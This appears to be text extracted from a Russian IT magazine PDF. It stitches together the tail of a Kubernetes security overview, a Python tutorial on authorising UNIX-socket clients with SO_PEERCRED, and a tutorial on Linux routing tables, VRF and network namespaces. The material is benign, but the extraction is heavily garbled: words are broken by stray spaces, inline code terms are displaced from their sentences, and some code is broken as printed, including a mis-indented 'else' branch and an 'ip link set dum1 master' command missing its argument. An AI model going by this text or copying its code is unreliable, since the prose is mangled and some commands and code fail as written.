NeuVector,  —  это,  по  сути,  сам  кон тей нер,  сер тифици рован ный  Red  Hat,
и Docker, который лег ко раз верты вает ся на каж дом хос те, обес печивая меж‐ 
сетевое вза имо дей ствие (фай рвол), монито ринг про цес сов и фай ловых сис‐ 
тем внут ри кон тей нера, аудит безопас ности с помощью тес тов CIS и ска ниро‐ 
вание уяз вимос тей.

Кон соль офи цера безопас ности NeuVector Kubernetes Security

 — широко извес тный стек решений для ком плексной безопас‐ 
ности  облачных  сер висов.  Услу га  вклю чает  наборы  при ложе ний  для  обес‐ 
печения  таких  про цедур,  как  Vulnerability  management,  Compliance,  Runtime
security,  Forensics,  Audit.  Помимо  решений,  позици они руемых  как  Enterprise,
вен дор пред лага ет качес твен ные   для ауди та и кон тро ля
безопас ности.  Так же  для  бес плат ного  исполь зования  всем жела ющим  пре‐ 
дос тавлен  ,  о  котором  мы  более  под робно  писали  в 

.

Sysdig Secure

опен сор сные ути литы

ска нер  Falco статье
про безопас ность Docker

Кон соль офи цера безопас ности Sysdig Secure

Как  видишь,  очень  час то  вмес те  с  проп риетар ными  решени ями  мож но
успешно  исполь зовать  и  бес плат ные  опен сор сные  ути литы,  что  уси лива ет
сум марный общий эффект от их при мене ния.

До пол нитель ные ути литы для уси ления безопас ности Kubernetes
Рас ска жу  о  нес коль ких  неболь ших  ути литах,  которые  при годят ся  тебе
при  фор мирова нии  пра виль ной  мат рицы  дос тупа  к  инфраструк турным  эле‐ 
мен там K8s‐клас тера.

  —  инс тру мент,  поз воля ющий  опре делить,  какие  раз решения
необ ходимы  для  опре делен ного ПО  в  сос таве  K8s,  при  этом  он  авто матом
генери рует RBAC‐роли.

Audit2rbac

 —  еще  одна  тул за,  по  сути  опе ратор  Kubernetes,  который
упро щает управле ние RBAC‐ролями и при вяз ку их к  учет ным записям адми‐ 
нис тра торов.

Rbac‐manager

  —  тул за,  которая  под став ляет  учет ные  дан ные  из  сер виса
управле ния дос тупом AWS IAM для всех кон тей неров в клас тере.

Kube2iam

И  в  завер шение  нашего  сегод няшне го  матери ала  нес коль ко  инте рес ных
ресур сов  по  теме  обес печения  безопас ности  Kubernetes,  вклю чающих  best
practices, обзо ры ути лит и при меры некото рых сис темных команд.

 — онлайн‐вер сия кни ги Ku‐
bernetes  Security  Operating  Kubernetes  Clusters  and  Applications  Safely  изда‐ 
тель ства  O’Reilly  Media.  Наибо лее  пол ный  и  содер жатель ный  гайд  по  пла‐ 
ниро ванию и нас трой кам безопас ности клас теров на базе Kubernetes. Элек‐ 
трон ную вер сию кни ги мож но бес плат но  .

Kubernetes Security  resource center of O’Reilly

ска чать здесь
 —  офи циаль ный  документ  от  раз работ‐ 

чиков  Kubernetus  с  опи сани ем  общих  рекомен даций  по  обес печению
безопас ности.

Overview  of  Cloud Native  Security

 — неп лохая обзорная статья, опи‐ 
сыва ющая  некото рые  век торы  атак,  проб лемы  безопас ности  и  типовые
рекомен дации по защите K8s, соб ранные ком пани ей NeuVector — раз работ‐ 
чиком решений ИБ для облачных сред.

The Ultimate Guide to Kubernetes Security

 — отлично струк туриро ван ный и содер‐ 
жатель ный документ с опи сани ем фун кций безопас ности Kubernetes, которые
мож но нас тро ить самос тоятель но. Этот же документ есть и на  .

Kubernetes Security Best‐Practices

GitHub

ЗАКЛЮЧЕНИЕ
Се год ня  мы  разоб рали  очень  важ ную  для  все го  DevOps‐сооб щес тва  тему
безопас ности  сис темы  кон тей нер ной  оркес тра ции  Kubernetes.  Теперь  ты
име ешь  пред став ление  об  основных  век торах  атак,  типовых  проб лемах
и  потен циаль ных  рис ках  при  исполь зовании  это го  свер хпо пуляр ного  опен‐ 
сор сно го  фрей мвор ка,  поз накомил ся  с  общи ми  тре бова ниями  к  про екти‐ 
рова нию и  раз верты ванию K8s  с  точ ки  зре ния безопас ности  и  зна ешь  нес‐ 
коль ко  сис темных  команд,  поз воля ющих  обе зопа сить  свой  клас тер  и  спать
спо кой нее по ночам.
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АДМИН

Ник то  не  любит  лиш ний  раз  вво дить  пароли.  В  мире
веб‐при ложе ний  про токо лы  для  SSO  (Single  Sign‐On)
широко  рас простра нены  и  лег ко  реали зуемы  бла года ря
встро енной в бра узер воз можнос ти хра нить cookie. Со сто‐ 
роны безопас ности это не луч шее решение. Ряд популяр ных
при ложе ний,  к  при меру  кон соль ный  кли ент  PostgreSQL
(psql),  пре дос тавля ют  такую  воз можность  для  локаль ных
под клю чений через сокеты UNIX. В этой статье мы рас смот‐ 
рим, как это сде лать с помощью опции  .SO_PEERCRED

В  качес тве  при мера  мы  напишем  сер вер,  который  прос то  хра нит  какое‐то
чис ло,  при  этом  поль зовате ли  из  груп пы    могут  его  изме нять,  а  все
осталь ные — толь ко получать зна чение. Писать будем на Python, но все ска‐ 
зан ное при мени мо к любому язы ку.

wheel

В этой статье речь идет о Linux, если не ука зано обратное.

АБСТРАКТНЫЕ СОКЕТЫ LINUX
Для  вза имо дей ствия  с  сер вером  мы  будем  исполь зовать  вари ант  UNIX  do‐
main  sockets —  abstract  namespace  sockets.  В  отли чие  от  сетевых  сокетов,
в слу чае с локаль ными сокета ми UNIX ядро зна ет, какой про цесс под клю чает‐ 
ся к сокету, и зна ет все о поль зовате ле (соз дателе) про цес са, что и поз воля‐ 
ет пере исполь зовать сис темную аутен тифика цию.

В  клас сичес кой  реали зации  сокеты  UNIX  пред став ляют  собой  фай лы.
Это  поз воля ет  при менить  к  ним  пра ва  дос тупа  и  зап ретить  поль зовате лям
или  груп пам  под клю чать ся  к  ним,  но  более  слож ную  модель  при виле гий
на этом не пос тро ить.

Ос новной  недос таток  клас сичес кой  реали зации —  опция 
для них не работа ет. Файл сокета дол жен быть соз дан про цес сом,  который
на нем слу шает. Если про цесс упал, а файл сокета остался,  то новому про‐ 
цес су  сна чала  нуж но  его  уда лить.  Пра виль но  написан ный  сер вер  дол жен
исполь зовать lock‐фай лы, что бы пре дот вра тить слу чай ный запуск нес коль ких
экзем пля ров про цес са и обес печить безопас ное уда ление ста рого фай ла.

SO_REUSEADDR

Для решения этой проб лемы в Linux сущес тву ют так называ емые abstract
namespace  sockets.  По  сво ей  сути  они  иден тичны  тра дици онным  сокетам
UNIX,  но  не  явля ются  фай лами  и  авто мати чес ки  исче зают  с  завер шени ем
про цес са, который их соз дал. К ним так же неп римени мы обыч ные пра ва дос‐ 
тупа, и авто риза ция оста ется на совес ти при ложе ния — но мы ведь к это му
и стре мим ся.

Что бы  соз дать  абс трак тный  сокет,  нуж но  добавить  в  начало  его  «пути
к фай лу» нулевой байт. В осталь ном все так же, как с обыч ными.

ПИШЕМ СЕРВЕР
Для  начала мы  напишем осно ву  для  сер вера,  пока  без  авто риза ции.  Что бы
не писать раз бор сооб щений, мы сде лаем все го две коман ды без аргу мен‐ 
тов:   (вер нуть зна чение счет чика) и   (уве личить счет чик на еди ницу).read inc

Со кет  мы  назовем  .  Соот ветс твен но,  путь  его  будет counter‐server
.'\0counter‐server'

#!/usr/bin/env python3

import os
import socket

SOCK_FILE = '\0counter‐server'

# Счетчик
counter = 0

# Создаем сокет
sock = socket.socket(family=socket.AF_UNIX, type=socket.SOCK_STREAM)
sock.bind(SOCK_FILE)
sock.listen()

while True:
   conn, _ = sock.accept()

   command = conn.recv(1024).decode().strip()

   if command == 'inc':
       print("Received an increment request")
       counter += 1
       response = "Success"
   elif command == 'read':
       print("Received a read request")
       response = "Counter value: {0}".format(counter)
   else:
   response = "Invalid command"

   conn.send(response.encode())
   conn.send(b'\n')
   conn.close()

Поп робу ем запус тить его:

$ sudo ./counter‐server.py 
Counter server started

Пе рей дем  в  дру гую  кон соль  и  поп робу ем  под клю чить ся  с  помощью  .
В слу чае с обыч ным stream‐сокетом про токол был бы  , но пос‐ 
коль ку наш — «необыч ный», нужен  .

socat
UNIX‐CONNECT

ABSTRACT‐CONNECT

$ socat ‐ ABSTRACT‐CONNECT:counter‐server 
inc
Success

$ socat ‐ ABSTRACT‐CONNECT:counter‐server 
read
Counter value: 1

ДОБАВЛЯЕМ АВТОРИЗАЦИЮ
Те перь  перехо дим  к  получе нию  дан ных  о  под клю чив шемся  про цес се  через

.  Для  тра дици онных  сокетов  и  абс трак тных  она  работа ет  оди‐ 
нако во.
SO_PEERCRED

Фор маль но, что бы вклю чить эту опцию, нуж но пос тавить сокету флаг 
.  На  прак тике  из  Python  3.7  на  ядре  5.0.x  работа ет  и  без  его

явной уста нов ки, но лиш ним не будет.

SO_‐
PASSCRED = 1

sock = socket.socket(family=socket.AF_UNIX, type=socket.SOCK_STREAM)
# Установка опции для передачи данных о клиенте
sock.setsockopt(socket.SOL_SOCKET, socket.SO_PASSCRED, 1)
sock.bind(SOCK_FILE)
sock.listen()

Про читать дан ные о кли енте мож но с помощью фун кции 
с  фла гом  .  В  качес тве  треть его  аргу мен та  обя затель но  нуж но
ука зать раз мер буфера для чте ния. Ука жем 1024 — это гораз до боль ше, чем
дос таточ но:

socket.getsockopt
SO_PEERCRED

cred = conn.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED, 1024)

Эта фун кция вер нет нам объ ект типа  , из которо го еще нуж но извлечь
информа цию.  Увы,  встро енной  фун кци ональ нос ти  для  это го  в  Python  нет,
поэто му  раз бирать  при дет ся  самим. Из    мож но  узнать,  что  она
воз вра щает запись типа   из  :

bytes

man 7 unix
ucred <sys/socket.h>

struct ucred {
   pid_t pid;    /* process ID of the sending process */
   uid_t uid;    /* user ID of the sending process */
   gid_t gid;    /* group ID of the sending process */
};

Стан дарт POSIX не опре деля ет раз мер этих типов, но на прак тике в Linux они
все — 32‐раз рядные зна ковые целые. Таким обра зом, мы можем разоб рать
ее на час ти с помощью    (не  забудь добавить

).
struct.unpack('iii', cred)

import struct
Мо дифи циру ем основной цикл нашего сер вера:

while True:
   conn, _ = sock.accept()

   cred = conn.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED, 
1024)
   pid, uid, gid = struct.unpack('iii', cred)
   print("Connection from PID={0} UID={1} GID={2}".format(pid, uid, 
gid))

Те перь,  если  запус тить  сер вер  и  под клю чить ся  к  нему,  мы  уви дим  кар тину
вро де такой:

$ sudo ./counter‐server.py 
Counter server started
Connection from PID=8108 UID=1003 GID=1003
Received a read request

Уже неп лохо. Оста лось толь ко срав нить иден тифика тор груп пы (GID) с жела‐ 
емой груп пой  .wheel

ПОЛУЧАЕМ ИНФОРМАЦИЮ О ГРУППАХ
Эта часть самая прос тая и лег ко выпол няет ся средс тва ми стан дар тной биб‐ 
лиоте ки Python.

Фун кции  для  этих  целей  находят ся  в  модулях    и  .  Име на фун кций
и воз вра щаемые сло вари сов пада ют с POSIX вплоть до наз ваний полей, хотя
в Python с его под дер жкой прос транств имен   и подоб ное выг лядит
нем ного стран но.

pwd grp

grp_gid

import pwd
import grp

GROUP_ALLOW = 'wheel'

Для  при мера мы  исполь зуем  груп пу  адми нис тра торов  по  умол чанию  в  сис‐ 
темах на осно ве Red Hat, но на ее мес те мог ла быть любая груп па.

Пе репи шем обра бот ку коман ды   с про вер кой прав поль зовате ля. Пос‐ 
коль ку по умол чанию про цесс получа ет GID основной (пер вой) груп пы поль‐ 
зовате ля, для  удобс тва в  ущерб про изво дитель нос ти мы получим имя поль‐ 
зовате ля по его UID с помощью   и будем про верять наличие это го
име ни в груп пе (поле   в сло варе, который воз вра щает  ):

inc

getpwuid
gr_mem grp.getgrnam

if command == 'inc':
       print("Received an increment request")

       login = pwd.getpwuid(uid).pw_name
       group = grp.getgrnam(GROUP_ALLOW)
       if login in group.gr_mem:
           counter += 1
           response = "Success"
       else:
           response = "You don't have a permission"

Те перь поль зователь будет получать сооб щение об ошиб ке, если не сос тоит
в груп пе  :wheel

$ sudo ‐u nobody socat ‐ ABSTRACT‐CONNECT:counter‐server
inc
You don’t have a permission

ПЕРЕНОСИМОСТЬ
К  сожале нию,    не  стан дарти зова на  в  POSIX,  и  детали  реали‐ 
зации  в  раз ных  сис темах  нес коль ко  отли чают ся.  В  час тнос ти,  OpenBSD
исполь зует дру гой порядок зна чений:  , а не  . Дру‐ 
гие сис темы исполь зуют похожие по смыс лу, но отли чающиеся в реали зации
опции,  нап ример    в  FreeBSD.  В  самом  Linux  так же  есть  механизм

,  поз воля ющий  переда вать  любой  UID  и  GID,  на  которые
у поль зовате ля есть пра ва.

SO_PEERCRED

uid, gid, pid pid, uid, gid

SCM_CRED
SCM_CREDENTIALS

Уни вер саль ную  биб лиоте ку,  которая  скры вала  бы  эти  раз личия  от  поль‐ 
зовате ля и работа ла оди нако во на всех сис темах, я не нашел, но час тичные
реали зации для раз ных язы ков отыс кать впол не мож но.

Что  инте рес но,  отно ситель но  перено симая  ,  которая  воз‐ 
вра щает толь ко UID и GID, в стан дар тную биб лиоте ку Python и мно гих дру гих
язы ков не вхо дит. Но если задать ся целью, все реали зуемо.

getpeereid()

mailto:daniil@baturin.org
https://github.com/openbsd/src/blob/master/sys/sys/socket.h#L299-L304
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АДМИН

Изо ляция тра фика раз ных сетей в пре делах одной ОС рас‐ 
простра нена пов семес тно. Для конеч ных поль зовате лей она
незамет на — в этом ее цель. Но зна ешь ли ты, какие средс‐ 
тва для раз ных уров ней изо ляции пре дос тавля ет ядро Linux
и  как  ими  вос поль зовать ся  самому,  не  рас счи тывая
на  интегри рован ные  средс тва  управле ния  вро де  Docker?
Давай раз бирать ся.

Изо ляцию  час тей  сетево го  сте ка мож но  исполь зовать  по‐раз ному.  Про вай‐ 
деры пре дос тавля ют кли ентам вир туаль ные выделен ные линии и вынуж дены
как‐то обхо дить кон флик ты адре сов поль зователь ских сетей, что бы агре гиро‐ 
вать их тра фик на одном устрой стве. Адми ны и раз работ чики изо лиру ют при‐ 
ложе ния в кон тей нерах, что бы не запус кать отдель ную копию всей ОС в вир‐ 
туаль ной машине, и кон тей нер вза имо дей ству ет с миром через вир туаль ный
интерфейс, хотя ядро у всех кон тей неров общее.

INFO

В этой статье пред полага ется, что у тебя све жее
ядро — 4.8 или новее.

МНОЖЕСТВЕННЫЕ ТАБЛИЦЫ МАРШРУТИЗАЦИИ
Эта воз можность извес тна каж дому, кто ког да‐либо делал балан сиров ку меж‐ 
ду дву мя про вай дерами. Кро ме таб лицы мар шру тиза ции по умол чанию, в Lin‐
ux мож но соз дать до 255 незави симых друг от дру га таб лиц.

Таб лица по умол чанию называ ется  , и ей прис воен номер 254. Имен‐ 
но  в  нее  попада ют мар шру ты,  если  добавить  их  с  помощью 
или    без  допол нитель ных  парамет ров.  Еще  пара  таб лиц  зарезер‐ 
вирова на, а с осталь ными мож но делать что хочешь.

main
ip  route  add

route

Ка кая  таб лица  для  какого  тра фика  будет  исполь зовать ся,  опре деля ется
пра вила ми, ты можешь соз дать их с помощью  . Вывод 

 покажет пра вила по умол чанию:
ip rule add ip rule 

show

$ ip rule show
0:  from all lookup local 
32766:  from all lookup main 
32767:  from all lookup default

Сим воль ные  име на  таб лиц  мож но  най ти  (и  перенас тро ить)  в  фай ле 
.  У  пра вила  про  таб лицу    (254)  такой  низ кий  при‐ 

ори тет,  что бы  поль зователь ские  таб лицы  с мень шими номера ми обра баты‐ 
вались  до  нее.  Как  видим,  никако го  осо бого  ста туса  у    на  самом  деле
нет, это пра вило мож но было бы уда лить или пере опре делить.

/etc/
iproute2/rt_tables main

main

Таб лица  ,  которая фигури рует  в  пра виле  0,  содер жит  спе циаль ные
мар шру ты  для  локаль ных  и  широко веща тель ных  адре сов.  Нап ример,  прис‐ 
воение  адре са  192.0.2.1/24  интерфей су    соз дает  вот  такие  мар шру ты
в этой таб лице:

local

eth0

broadcast 192.0.2.0 dev eth0 proto kernel scope link src 192.0.2.1
local 192.0.2.1 dev eth0 proto kernel scope host src 192.0.2.1
broadcast 192.0.2.255 dev eth0 proto kernel scope link src 192.0.2.1

Яд ро управля ет этой таб лицей самос тоятель но. Знать о ней полез но, но тро‐ 
гать в ней ничего не нуж но.

Соз даем свои таб лицы
Но вые таб лицы соз дают ся авто мати чес ки, если добавить в них мар шрут. Ука‐ 
зать таб лицу мож но опци ей  :table

$ sudo ip route add 203.0.113.0/24 via 192.0.2.10 table 200

Что бы прос мотреть мар шру ты в новой таб лице, нуж но добавить ту же опцию
к  .ip route show

$ ip route show table 200
203.0.113.0/24 via 192.0.2.1 dev eth0

INFO

В  iproute2  все  коман ды  мож но  сок ращать.  Нап‐ 
ример:  .ip ro sh t 200

Са ми  по  себе  таб лицы  не  при носят  никакой  поль зы  —  нуж ны  пра вила,
которые нап равят в них тра фик.

Соз даем пра вила
Пра вила соз дают ся коман дой  . Самый рас простра нен ный вари‐ 
ант при мене ния — source‐based routing, к при меру отправ ка тра фика раз ных
сетей через раз ных про вай деров.

ip rule add

Пред положим, что у нас есть локаль ная сеть 10.0.0.0/24 и мы хотим отпра‐ 
вить  ее  тра фик  в  интернет  через мар шру тиза тор  192.0.2.10,  а  не  основной
мар шрут по умол чанию. Это мож но сде лать коман дами

$ sudo ip route add default via 192.0.2.10 table 200
$ sudo ip rule add from 10.0.0.0/24 table 200

WWW

За  деталь ными  инс трук циями  по  работе  с  нес‐ 
коль кими  про вай дерами  мож но  обра тить ся
к  клас сичес ким    или 

,  а  за  справ кой  по  син такси су  —  к 
 или  .

lartc.org  HOWTO policyrout‐
ing.org man 
ip‐rule мо ему руководс тву

Клас сифика ция пакетов по мет кам netfilter

 Сама коман да 
под держи вает  не  так  мно го  собс твен но  сетевых  опций:  /   (адрес
источни ка и наз начений),  /  (вход ной и выход ной интерфейс), 
(про токол),  /   (порт источни ка и  наз начения),    (зна чение  Type
of Service).

Факт пер вый: воз можнос ти клас сифика ции тра фика мож но серь- 

езно рас ширить с помощью опции  .fwmark ip rule add
from to

iif oif ipproto
sport dport tos

К  счастью,  netfilter  уме ет  добав лять  к  пакетам  мет ки,  мож но  ссы лать ся
на них в опции   и стро ить пра вила даже для самых экзо тичес ких ситу‐ 
аций.

fwmark

Глав ное — пом нить порядок обра бот ки пакетов в ядре и добав лять пра‐ 
вила для уста нов ки меток в цепоч ку, которая обра баты вает ся до мар шру тиза‐ 
ции  пакетов:  нап ример,    для  локаль ного  тра фика  и 

 для тра фика из дру гих сетей.
mangle  OUTPUT mangle 

FORWARD

INFO

По рядок  обра бот ки  пакетов  отлично  показан
на  .ди аграмме

В  качес тве  абсур дно го,  но  показа тель ного  при мера  мы  отпра вим  ICMP‐
пакеты раз мером боль ше ста байт через шлюз 192.0.2.20. Для прос тоты тес‐ 
тирова ния  мы  сде лаем,  что бы  пра вило  при меня лось  к  локаль ным  пакетам,
поэто му мет ку мы ста вим в цепоч ке  :mangle OUTPUT

$ sudo iptables ‐t mangle ‐I OUTPUT ‐m length ‐‐length 100: ‐p icmp 
‐j MARK ‐‐set‐mark 0xdeadbeef
$ sudo ip route add default via 192.0.2.20 table 201
$ sudo ip rule add fwmark 0xdeadbeef table 201

Что бы про тес тировать в реаль нос ти, замени 192.0.2.10 на какой‐нибудь хост
из тво ей сети — ядро Linux не добав ляет мар шру ты через заведо мо недос‐ 
тижимый шлюз.

Клас сифика ция по иден тифика торам поль зовате лей

  Воз можных  при мене ний  два.  Пер вое  —  ими тиро вать  VRF  или  netns,
запус тив про цесс от име ни поль зовате ля, к которо му при меня ется пра вило.
Так делать не сто ит, в новых ядрах есть куда луч шие решения.

Факт вто рой: пра вила мож но при менять к отдель ным поль зовате- 

лям.

Од нако  эта  воз можность  может  помочь  в  отладке  пра вил.  Про верить,
как работа ют мар шру ты, может быть не  так прос то, осо бен но если нет дос‐ 
тупа ко всем хос там. В этом слу чае мож но при менить пра вило к поль зовате‐ 
лю и тес тировать от его име ни. Этим же спо собом мож но завер нуть весь тра‐ 
фик  поль зовате ля  в  VPN‐тун нель,  не  тро гая  сис темный  тра фик.  Пред‐ 
положим,  у  нас  под нят  OpenVPN  с  интерфей сом    и  есть  поль зователь

 с  . Отпра вим весь его тра фик через VPN:
tun0

test id=1000

$ sudo ip route add default dev tun0 table 205
$ sudo ip rule add uidrange 1000‐1000 table 205

Как видим, воз можные при мене ния мно жес твен ных таб лиц и пра вил весь ма
широки. Одна ко они не поз воля ют раз решить кон фликт адре сов меж ду сег‐ 
мента ми сети или пол ностью изо лиро вать тра фик про цес са. Для этих целей
нуж но при менять VRF или network namespaces. Нач нем с VRF.

VRF
VRF (Virtual Routing and Forwarding) наибо лее популя рен сре ди про вай деров,
которым  нуж но  под клю чить  незави симых  кли ентов  к  одно му  физичес кому
устрой ству.  С  его  помощью  мож но  ассо цииро вать  сетевые  интерфей сы
с отдель ными таб лицами мар шру тиза ции. Если дума ешь, что того же эффекта
мож но дос тигнуть опци ей   в  , то спе шу сооб щить тебе,
что это не сов сем так.

iif/oif ip rule add

С «прос тыми» таб лицами и пра вила ми мы можем добавить свои мар шру ты
в  отдель ную  таб лицу,  но  слу жеб ные  мар шру ты  ядра  —  local  и  broadcast,
которые  нуж ны  для  пра виль ной  работы  с  адре сами  интерфей са,  оста ются
в таб лице по умол чанию. Это и дела ет невоз можным под клю чение кли ентов
с оди нако выми или пересе кающи мися сетями к одно му мар шру тиза тору.

Каж дый раз, ког да мы прис ваиваем интерфей су адрес, ядро соз дает уже
опи сан ные  выше  local‐  и  broadcast‐мар шру ты  в  таб лице    и  мар шрут
к  сети  в  таб лице  .  Нап ример,  прис воение  интерфей су    адре‐ 
са 192.0.2.100/24 соз дает мар шрут вида

local
main eth0

192.0.2.0/24 dev eth1 proto kernel scope link src 192.0.2.100

Та кие мар шру ты при нято называть connected routes. Если бы их не было, соз‐ 
дать мар шрут вро де   было бы невоз‐ 
можно: адрес 192.0.2.1 счи тал ся бы недос тижимым из‐за отсутс твия явно го
мар шру та к 192.0.2.0/24.

ip route add default via 192.0.2.1

VRF поз воля ет раз решить кон флик ты адре сов, перене ся в отдель ную таб‐ 
лицу  все  ассо цииро ван ные  с  сетевым  интерфей сом мар шру ты —  как  поль‐ 
зователь ские, так и слу жеб ные.

Соз даем VRF
Для  при мера  соз дадим  VRF  с  наз вани ем    и  при вяжем  его  к  таб‐ 
лице мар шру тиза ции 50:

customer1

$ sudo ip link add customer1 type vrf table 50
$ sudo ip link set dev customer1 up

Он  выг лядит  как  вир туаль ная  сетевая  кар та.  Все  сетевые  интерфей сы  ядро
соз дает  в  вык лючен ном  сос тоянии,  поэто му  без  вто рой  коман ды  не  обой‐ 
тись:  перед  исполь зовани ем  его  нуж но  вклю чить.  Прос мотреть  VRF  мож но
коман дой  :ip vrf show

$ ip vrf show
Name              Table
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
customer1           50

Прис ваиваем VRF сетевые интерфей сы
В VRF мож но добавить любые интерфей сы,  как физичес кие,  так и вир туаль‐ 
ные  (к  при меру,  тун нели).  Для  демонс тра ции  мы  соз дадим  интерфейс  типа
dummy (ана лог loopback) и прис воим ему адрес 10.133.0.1/24:

$ sudo ip link add dev dum1 type dummy
$ sudo ip link set dum1 up
$ sudo ip address add 10.133.0.1/24 dev dum1

Каж дый раз, ког да мы прис ваиваем интерфей су адрес, в таб лице   появ‐ 
ляет ся мар шрут к его сети:

main

$ ip route show 10.133.0.1/24
10.133.0.0/24 dev dum1 proto kernel scope link src 10.133.0.1

Те перь при вяжем наш интерфейс к VRF customer1:

$ sudo ip link set dum1 master

Кар тина в   не изме нит ся — к сожале нию, эта коман да не показы‐ 
вает при над лежность интерфей сов VRF. Все интерфей сы опре делен ного VRF
мож но уви деть в выводе  :

ip vrf show

ip link show vrf $VRF

$ ip link show vrf customer1
6: dum1: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master 
customer1 state UNKNOWN mode DEFAULT group default qlen 1000
   link/ether 8e:6f:b6:9a:df:e0 brd ff:ff:ff:ff:ff:ff

Ес ли  выпол нить  ,  мы  уви дим,  что  мар шрут  к  этой
сети  исчез.  Ядро  перенес ло  его  и  все  осталь ные  слу жеб ные  мар шру ты
для этой сети в таб лицу 50:

ip ro sh 10.133.0.0/24

$ ip ro sh t 50
broadcast 10.133.0.0 dev dum1 proto kernel scope link src 10.133.0.1 
10.133.0.0/24 dev dum1 proto kernel scope link src 10.133.0.1 
local 10.133.0.1 dev dum1 proto kernel scope host src 10.133.0.1 
broadcast 10.133.0.255 dev dum1 proto kernel scope link src 10.133.0.
1

Ес ли уда лить интерфейс из VRF коман дой

$ sudo ip link set dum1 nomaster

мар шру ты вер нутся обратно.

Вы пол няем коман ды внут ри VRF
VRF изо лиру ет имен но сети, а не при ложе ния. Один и тот же про цесс может
под клю чить ся  к  нес коль ким  раз ным  VRF.  Работу  с  VRF  с  точ ки  зре ния  раз‐ 
работ чика при ложе ний мы оста вим за кад ром.

Знать  про  сущес тво вание  VRF  нуж но  очень  узко му  клас су  прог рамм:
в основном демонам про токо лов мар шру тиза ции и раз личным реали заци ям
VPN.  Любую  прог рамму  очень  прос то  запус тить  внут ри  любого  VRF
с помощью коман ды  .ip vrf exec $VRF $COMMAND

К при меру, выпол ним ping к адре су самого  . Из VRF по умол чанию он
не сра бота ет, пос коль ку его мар шру ты были уда лены из основной таб лицы:

dum1

$ ping 10.133.0.1
PING 10.133.0.1 (10.133.0.1) 56(84) bytes of data.
^C
‐‐‐ 10.133.0.1 ping statistics ‐‐‐
4 packets transmitted, 0 received, 100% packet loss, time 58ms

Од нако внут ри VRF customer1 все работа ет:

$ sudo ip vrf exec customer1 ping 10.133.0.1
PING 10.133.0.1 (10.133.0.1) 56(84) bytes of data.
64 bytes from 10.133.0.1: icmp_seq=1 ttl=64 time=0.042 ms

Та ким спо собом мож но выпол нить любую коман ду  (вклю чая дру гую коман ду
).  Это  сущес твен но  упро щает  отладку  и  тес тирова ние  нас тро ек  VRF

по срав нению с прос тыми таб лицами и пра вила ми.
ip

СЕТЕВЫЕ ПРОСТРАНСТВА ИМЕН (NETWORK NAMESPACES)
VRF обес печива ет  изо ляцию  толь ко  на  сетевом  уров не.  Каналь ный  уро вень
оста ется общим для всех VRF, и, к при меру, 

 покажет нам все интерфей сы: и при над лежащий нашему VRF
,  и  все  осталь ные.  Это  может  быть  как  пре иму щес твом,  так  и  недос‐ 

татком.

sudo ip vrf exec customer1 
ip link list
dum1

Ес ли  VRF  мало,  мож но  прив лечь  сетевые  прос транс тва  имен  (netns)  —
самый глу бокий уро вень изо ляции. Имен но его исполь зуют кон тей неры вро‐ 
де  LXC.  Они  соз дают  пол ную  копию  сетево го  сте ка,  и  про цес сы  в  одном
прос транс тве  имен  не  могут  уви деть  ничего  из  дру гих —  даже  физичес кие
сетевые интерфей сы.

Соз даем прос транс тво имен
Соз дать новое прос транс тво имен мож но коман дой  ,  а прос‐ 
мотреть спи сок сущес тву ющих — коман дой  .

ip netns add
ip netns show

$ sudo ip netns add mynamespace
$ ip netns show
mynamespace

Для  прос тоты  тес тирова ния  в  пре делах  отдель но  взя той  машины  соз дадим
еще  один  dummy‐интерфейс    и  прис воим  его  нашему  прос транс тву
имен:

dum2

$ sudo ip link add dum2 type dummy
$ sudo ip link set dum2 up
$ sudo ip link set dum2 netns mynamespace

Ес ли в слу чае с VRF мы мог ли уви деть наш   в обыч ном выводе 
,  то с прос транс тва ми имен все ина че:    исчезнет отту да и  уви деть

его мож но будет толь ко изнутри  . Давай убе дим ся.

dum1 ip link 
list dum2

mynamespace

Вы пол няем коман ды
Вы пол нить  коман ду  внут ри прос транс тва имен мож но с помощью 

. Если выпол нить таким спо собом 
внут ри  ,  мы  уви дим    и  копию  интерфей са    (loopback)  —
и ничего боль ше.

ip netns 
exec $NAMESPACE $COMMAND ip link list

mynamspace dum2 lo

$ sudo ip netns exec mynamespace ip link list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN mode DEFAULT group 
default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
7: dum2: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN mode 
DEFAULT group default qlen 1000
   link/ether ca:00:b9:06:49:70 brd ff:ff:ff:ff:ff:ff

В све жих вер сиях iproute2 (в моей 5.0.0 точ но) есть более корот кий спо соб —
:ip ‐n $NAMESPACE

$ sudo ip ‐n mynamespace link show dum2
7: dum2: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN mode 
DEFAULT group default qlen 1000
   link/ether ca:00:b9:06:49:70 brd ff:ff:ff:ff:ff:ff

Нуж но отме тить,  что при переда че интерфей са в дру гое прос транс тво имен
он  всег да  будет  вык лючен  и  с  него  будут  уда лены  все  адре са,  поэто му
в скрип тах ини циали зации и подоб ном под нимать интерфейс и нас тра ивать
его нуж но уже пос ле  .ip link set ... netns

Вза имо дей ству ем с дру гими прос транс тва ми имен
Как  видим,  устрой ства  и  про цес сы  внут ри  прос транс тва  имен  ока зыва ются
в  пол ной  изо ляции.  Вза имо дей ствие  меж ду  раз ными  прос транс тва ми  воз‐ 
можно толь ко через пару вир туаль ных интерфей сов. Для это го исполь зуют ся
спе циаль ные интерфей сы типа  . Они всег да соз дают ся парами, соз дать
толь ко один невоз можно:

veth

$ sudo ip link add name veth1 type veth peer name veth2

Ус трой ство   мы  оста вим  в  прос транс тве  имен  по  умол чанию,  а 
добавим  в  ,  затем  вклю чим  оба  интерфей са  (они,  как  обыч но,
соз дают ся вык лючен ными):

veth1 veth2
mynamespace

$ sudo ip link set dev veth2 netns mynamespace
$ sudo ip ‐n mynamespace link set veth2 up
$ sudo ip link set dev veth1 up

Мы  прис воим  адре са  обо им  интерфей сам,  и  вза имо дей ствие  меж ду  прос‐ 
транс тва ми  имен  будет  орга низо вано  так  же,  как  мар шру тиза ция  тра фика
меж ду  раз ными  хос тами.  Исполь зуем  сеть  10.136.0.0/30  для  свя зи  меж ду
ними:

$ sudo ip addr add 10.136.0.1/30 dev veth1
